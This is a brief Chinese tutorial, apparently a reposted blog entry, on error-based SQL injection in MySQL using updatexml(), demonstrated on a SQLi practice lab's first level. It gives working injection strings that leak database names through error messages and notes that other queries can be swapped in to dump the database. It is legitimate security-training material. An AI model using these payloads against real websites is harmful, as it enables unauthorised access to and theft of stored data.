SQL注入攻击(SQL注入(SQLi)攻击)-报错注入
生活随笔
收集整理的這篇文章主要介紹了
SQL注入攻击(SQL注入(SQLi)攻击)-报错注入
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
頁面沒有顯示位 , 但有數據庫的報錯信息時 , 可使用報錯注入
報錯注入是最常用的注入方式 , 也是使用起來最方便(我覺得)的一種注入方式
?
updatexml(1,'~',3);- 第二個參數包含特殊字符時,數據庫會報錯,并將第二個參數的內容顯示在報錯內容中
- 返回結果的長度不超過32個字符
- MySQL5.1及以上版本使用
本次以SQLi第一關為案例
第一步,判斷注入類型
我們在參數中加入一個單引號 ' , 看其會不會報錯
?id=1'數據庫返回了一個錯誤 , 從錯誤來看 , 最外層的一對單引號來自數據庫的報錯格式 , 我們不用管
1 是我們傳遞的參數 , 1旁邊的一對單引號 , 是SQL中包裹參數的單引號
而 1 右邊的一個單引號 , 是我們添加的單引號
也就是說 , 后臺SQL中傳遞參數時 , 參數包裹的就是單引號 , 固 單引號字符串型注入
第二步,脫庫
我們先來測試一下 , updatexml()是否能正常報錯
?id=1' and updatexml(1,concat('~','my par'),3) -- a?concat() , 用來拼接字符串 , 觸發updatexml()的報錯?
數據庫把我們的第二個參數返回到頁面了?
我們把第二個參數 替換成查詢語句 , 即可獲取到數據庫信息
?id=1' and updatexml(1,concat('~', (select schema_name from information_schema.schemata limit 0,1) ),3) -- a?我們把第二個參數 替換成查詢語句 , 即可獲取到數據庫信息
?id=1' and updatexml(1,concat('~', (select schema_name from information_schema.schemata limit 0,1) ),3) -- a使用分頁來查詢第幾個數據庫 , 0開始
接下來可以將'~' 后面的SQL替換成其他的查詢語句 , 從而實現脫庫?
總結
以上是生活随笔為你收集整理的SQL注入攻击(SQL注入(SQLi)攻击)-报错注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SQL注入(SQL注入(SQLi)攻击)
- 下一篇: SQL注入(SQL注入(SQLi)攻击)